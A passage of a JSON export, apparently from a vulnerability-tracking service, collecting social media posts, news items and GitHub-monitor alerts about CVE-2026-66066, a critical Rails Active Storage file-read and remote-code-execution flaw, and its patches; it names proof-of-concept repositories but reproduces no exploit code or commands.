Blog\nhttps://blog.flatt.tech/entry/kindarails2shell_rails", "creation_timestamp": "2026-07-29T16:02:09.915640Z"}, {"uuid": "0ae1b461-ebdd-434c-bc90-3fe2b437b789", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-66066", "type": "seen", "source": "https://bsky.app/profile/hatena-bookmark.bsky.social/post/3mrscsavzuf2k", "content": "#\ud83d\udd16\u30c6\u30af\u30ce\u30ed\u30b8\u30fc\n\u6df1\u523b\u5ea6\u300c\u7dca\u6025\u300d\u306eRails\u8106\u5f31\u6027\u300cKindaRails2Shell\u300d\uff08CVE-2026-66066\uff09\u306e\u6982\u8981\u3068\u5bfe\u5fdc\u6307\u91dd - GMO Flatt Security Blog\n\n2026\u5e747\u670829\u65e5\u3001\u8a8d\u8a3c\u3092\u5fc5\u8981\u3068\u305b\u305a\u3001\u30ea\u30e2\u30fc\u30c8\u304b\u3089\u306e\u4efb\u610f\u30b3\u30fc\u30c9\u5b9f\u884c\uff08RCE\uff09\u306b\u3064\u306a\u304c\u308a\u5f97\u308b\u8106\u5f31\u6027\u300cCVE-2026-66066\u300d\u3092\u4fee\u6b63\u3057\u305fRuby on Rails 7.2.3.2\u30018.0.5.1\u30018.1.3.1\u304c\u516c\u958b\u3055\u308c\u307e\u3057\u305f\uff08\u53c2\u8003\uff1aPossible arbitrary file read and remote code execution in Active Storage variant proc", "creation_timestamp": "2026-07-29T16:10:09.317478Z"}, {"uuid": "5c012497-e242-464f-8268-524d8a065617", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-66066", "type": "seen", "source": "https://t.me/GithubRedTeam/95717", "content": "\ud83d\udea8 GitHub \u76d1\u63a7\u6d88\u606f\u63d0\u9192\n\n\ud83d\udea8 \u53d1\u73b0\u5173\u952e\u8bcd\uff1a #CVE-2026 #RCE\n\n\ud83d\udce6 \u9879\u76ee\u540d\u79f0\uff1a rails-activestorage-vips-audit\n\ud83d\udc64 \u9879\u76ee\u4f5c\u8005\uff1a paveg\n\ud83d\udee0 \u5f00\u53d1\u8bed\u8a00\uff1a Shell\n\u2b50 Star\u6570\u91cf\uff1a 0  |  \ud83c\udf74 Fork\u6570\u91cf\uff1a 0\n\ud83d\udcc5 \u66f4\u65b0\u65f6\u95f4\uff1a 2026-07-29 16:53:04\n\n\ud83d\udcdd \u9879\u76ee\u63cf\u8ff0\uff1a\nAgent skill that audits a Rails codebase for CVE-2026-66066 (KindaRails2Shell) \u2014 Active Storage + libvips arbitrary file read / RCE, checking Rails and libvips versions and block-untrusted mitigations\n\n\ud83d\udd17 \u70b9\u51fb\u8bbf\u95ee\u9879\u76ee\u5730\u5740", "creation_timestamp": "2026-07-29T18:00:03.579686Z"}, {"uuid": "cb2cfc97-892a-4ac9-a43c-8b0d84fcae1d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "cve-2026-66066", "type": "seen", "source": "https://bsky.app/profile/christine.ruby.social.ap.brid.gy/post/3mrsjvjgfklf2", "content": "RE: https://christine-seeman.com/cve-2026-66066-active-storage/\n\nPatch your #rails there's a new CVE out there specifically about active storage and if your app accepts image uploads.\n\n#ruby #rubyonrails", "creation_timestamp": "2026-07-29T18:17:17.615384Z"}, {"uuid": "08c384a1-bd53-4fbd-9f3d-6f43941f7db2", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-66066", "type": "seen", "source": "https://t.me/thehackernews/9657", "content": "\u203c\ufe0f WARNING -- Critical Rails flaw CVE-2026-66066 could let unauthenticated attackers read server files through crafted image uploads.\n\nThe bug affects apps using Active Storage with Vips. Stolen Rails keys, database credentials, cloud keys, and API tokens could enable RCE.\n\nPatch now. Read the full story - https://thehackernews.com/2026/07/critical-rails-flaw-could-let.html", "creation_timestamp": "2026-07-29T19:00:03.084362Z"}, {"uuid": "a373ee76-c4c3-49da-9266-59aaacd58e41", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-66066", "type": "seen", "source": "https://bsky.app/profile/postac001.bsky.social/post/3mrsobz2ntv2m", "content": "Ruby on Rails\u306eActive Storage\u306b\u3001\u4e0d\u6b63\u306a\u753b\u50cf\u30a2\u30c3\u30d7\u30ed\u30fc\u30c9\u3067\u30b5\u30fc\u30d0\u30fc\u4e0a\u306e\u4efb\u610f\u306e\u30d5\u30a1\u30a4\u30eb\u304c\u8aad\u307f\u53d6\u3089\u308c\u308b\u8106\u5f31\u6027(CVE-2026-66066\u3001CVSS 9.5)\u304c\u3042\u308a\u3001\u4fee\u6b63\u3055\u308c\u305f\u3002", "creation_timestamp": "2026-07-29T19:35:49.159981Z"}, {"uuid": "4dc7eb70-2094-4d5e-b097-151749b41ecd", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-66066", "type": "seen", "source": "https://bsky.app/profile/newssecia.bsky.social/post/3mrsoxwyxsu24", "content": "\ud83e\udd16 CVE-2026-66066 (CVSS 9.5): Critical Rails Active Storage flaw lets unauthenticated attackers read server files (secret_key_base, DB creds) via image uploads. https://thehackernews.com/2026/07/critical-rails-flaw-could-let.html", "creation_timestamp": "2026-07-29T19:48:04.803800Z"}, {"uuid": "e12f7ba8-a662-41f9-8f59-f02254842f9a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-66066", "type": "seen", "source": "https://t.me/GithubRedTeam/95744", "content": "\ud83d\udea8 GitHub \u76d1\u63a7\u6d88\u606f\u63d0\u9192\n\n\ud83d\udea8 \u53d1\u73b0\u5173\u952e\u8bcd\uff1a #CVE-2026 #Exploit #RCE\n\n\ud83d\udce6 \u9879\u76ee\u540d\u79f0\uff1a CVE-2026-66066\n\ud83d\udc64 \u9879\u76ee\u4f5c\u8005\uff1a 0xBlackash\n\ud83d\udee0 \u5f00\u53d1\u8bed\u8a00\uff1a Unknown\n\u2b50 Star\u6570\u91cf\uff1a 0  |  \ud83c\udf74 Fork\u6570\u91cf\uff1a 0\n\ud83d\udcc5 \u66f4\u65b0\u65f6\u95f4\uff1a 2026-07-29 20:49:30\n\n\ud83d\udcdd \u9879\u76ee\u63cf\u8ff0\uff1a\nCVE-2026-66066\n\n\ud83d\udd17 \u70b9\u51fb\u8bbf\u95ee\u9879\u76ee\u5730\u5740", "creation_timestamp": "2026-07-29T22:00:04.142483Z"}, {"uuid": "97d5fa5b-a930-431b-a8cd-5c896de42fb4", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-66066", "type": "seen", "source": "https://thehackernews.com/2026/07/critical-rails-flaw-could-let.html", "content": "Ruby on Rails has released fixes for a critical Active Storage vulnerability that could let unauthenticated attackers read arbitrary files from application servers through crafted image uploads.\n\nTracked as CVE-2026-66066 (CVSS score: 9.5), the flaw can expose the Rails process environment and secrets such as secret_key_base, the Rails master key, database passwords, cloud storage credentials,", "creation_timestamp": "2026-07-29T22:00:50.209582Z"}, {"uuid": "826ac105-3107-43cd-965e-1b3be63106d8", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-66066", "type": "seen", "source": "https://bsky.app/profile/bitnewsbot.bsky.social/post/3mrsybgfyqz2x", "content": "Ruby on Rails patched a critical Active Storage vulnerability, CVE-2026-66066 (CVSS 9.5), allowing unauthenticated file read on servers using libvips. [\u2026]", "creation_timestamp": "2026-07-29T22:34:26.884762Z"}, {"uuid": "93cbc59f-54bb-477f-98c3-c23715d578ea", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-66066", "type": "seen", "source": "https://t.me/GithubRedTeam/95751", "content": "\ud83d\udea8 GitHub \u76d1\u63a7\u6d88\u606f\u63d0\u9192\n\n\ud83d\udea8 \u53d1\u73b0\u5173\u952e\u8bcd\uff1a #CVE-2026 #POC\n\n\ud83d\udce6 \u9879\u76ee\u540d\u79f0\uff1a CVE-2026-66066-POC\n\ud83d\udc64 \u9879\u76ee\u4f5c\u8005\uff1a Zer0SumGam3\n\ud83d\udee0 \u5f00\u53d1\u8bed\u8a00\uff1a Python\n\u2b50 Star\u6570\u91cf\uff1a 0  |  \ud83c\udf74 Fork\u6570\u91cf\uff1a 0\n\ud83d\udcc5 \u66f4\u65b0\u65f6\u95f4\uff1a 2026-07-29 21:57:10\n\n\ud83d\udcdd \u9879\u76ee\u63cf\u8ff0\uff1a\nPoC for CVE-2026-66066 in Ruby on Rails\n\n\ud83d\udd17 \u70b9\u51fb\u8bbf\u95ee\u9879\u76ee\u5730\u5740", "creation_timestamp": "2026-07-29T23:00:03.541670Z"}, {"uuid": "b2139f56-668c-40e2-9c96-d9c578ed5e4d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-66066", "type": "seen", "source": "https://bsky.app/profile/infosec.skyfleet.blue/post/3mrt2yusk2g22", "content": "Rails CVE-2026-66066: Possible arbitrary file read and remote code execution in Active Storage variant processing", "creation_timestamp": "2026-07-29T23:23:20.815906Z"}, {"uuid": "667ca25e-c33d-45fa-a0af-d077394c2baf", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-66066", "type": "published-proof-of-concept", "source": "https://t.me/GithubRedTeam/95751", "content": "\ud83d\udea8 GitHub \u76d1\u63a7\u6d88\u606f\u63d0\u9192\n\n\ud83d\udea8 \u53d1\u73b0\u5173\u952e\u8bcd\uff1a #CVE-2026 #POC\n\n\ud83d\udce6 \u9879\u76ee\u540d\u79f0\uff1a CVE-2026-66066-POC\n\ud83d\udc64 \u9879\u76ee\u4f5c\u8005\uff1a Zer0SumGam3\n\ud83d\udee0 \u5f00\u53d1\u8bed\u8a00\uff1a Python\n\u2b50 Star\u6570\u91cf\uff1a 0  |  \ud83c\udf74 Fork\u6570\u91cf\uff1a 0\n\ud83d\udcc5 \u66f4\u65b0\u65f6\u95f4\uff1a 2026-07-29 21:57:10\n\n\ud83d\udcdd \u9879\u76ee\u63cf\u8ff0\uff1a\nPoC for CVE-2026-66066 in Ruby on Rails\n\n\ud83d\udd17 \u70b9\u51fb\u8bbf\u95ee\u9879\u76ee\u5730\u5740", "creation_timestamp": "2026-07-30T00:00:04.851152Z"}, {"uuid": "99769c53-ad07-4e35-99ef-61e7d666b7aa", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-66066", "type": "published-proof-of-concept", "source": "https://t.me/GithubRedTeam/95717", "content": "\ud83d\udea8 GitHub \u76d1\u63a7\u6d88\u606f\u63d0\u9192\n\n\ud83d\udea8 \u53d1\u73b0\u5173\u952e\u8bcd\uff1a #CVE-2026 #RCE\n\n\ud83d\udce6 \u9879\u76ee\u540d\u79f0\uff1a rails-activestorage-vips-audit\n\ud83d\udc64 \u9879\u76ee\u4f5c\u8005\uff1a paveg\n\ud83d\udee0 \u5f00\u53d1\u8bed\u8a00\uff1a Shell\n\u2b50 Star\u6570\u91cf\uff1a 0  |  \ud83c\udf74 Fork\u6570\u91cf\uff1a 0\n\ud83d\udcc5 \u66f4\u65b0\u65f6\u95f4\uff1a 2026-07-29 16:53:04\n\n\ud83d\udcdd \u9879\u76ee\u63cf\u8ff0\uff1a\nAgent skill that audits a Rails codebase for CVE-2026-66066 (KindaRails2Shell) \u2014 Active Storage + libvips arbitrary file read / RCE, checking Rails and libvips versions and block-untrusted mitigations\n\n\ud83d\udd17 \u70b9\u51fb\u8bbf\u95ee\u9879\u76ee\u5730\u5740", "creation_timestamp": "2026-07-30T00:00:23.759465Z"}, {"uuid": "c4c02432-6ea0-4b7c-82b9-5be23e7b3ad4", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-66066", "type": "published-proof-of-concept", "source": "https://t.me/GithubRedTeam/95744", "content": "\ud83d\udea8 GitHub \u76d1\u63a7\u6d88\u606f\u63d0\u9192\n\n\ud83d\udea8 \u53d1\u73b0\u5173\u952e\u8bcd\uff1a #CVE-2026 #Exploit #RCE\n\n\ud83d\udce6 \u9879\u76ee\u540d\u79f0\uff1a CVE-2026-66066\n\ud83d\udc64 \u9879\u76ee\u4f5c\u8005\uff1a 0xBlackash\n\ud83d\udee0 \u5f00\u53d1\u8bed\u8a00\uff1a Unknown\n\u2b50 Star\u6570\u91cf\uff1a 0  |  \ud83c\udf74 Fork\u6570\u91cf\uff1a 0\n\ud83d\udcc5 \u66f4\u65b0\u65f6\u95f4\uff1a 2026-07-29 20:49:30\n\n\ud83d\udcdd \u9879\u76ee\u63cf\u8ff0\uff1a\nCVE-2026-66066\n\n\ud83d\udd17 \u70b9\u51fb\u8bbf\u95ee\u9879\u76ee\u5730\u5740", "creation_timestamp": "2026-07-30T00:00:07.672653Z"}, {"uuid": "1e1b646d-46d8-4646-a15b-048149c8eac3", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-66066", "type": "seen", "source": "https://t.me/thehackernews/9657", "content": "\u203c\ufe0f WARNING -- Critical Rails flaw CVE-2026-66066 could let unauthenticated attackers read server files through crafted image uploads.\n\nThe bug affects apps using Active Storage with Vips. Stolen Rails keys, database credentials, cloud keys, and API tokens could enable RCE.\n\nPatch now. Read the full story - https://thehackernews.com/2026/07/critical-rails-flaw-could-let.html", "creation_timestamp": "2026-07-30T00:00:22.749266Z"}]}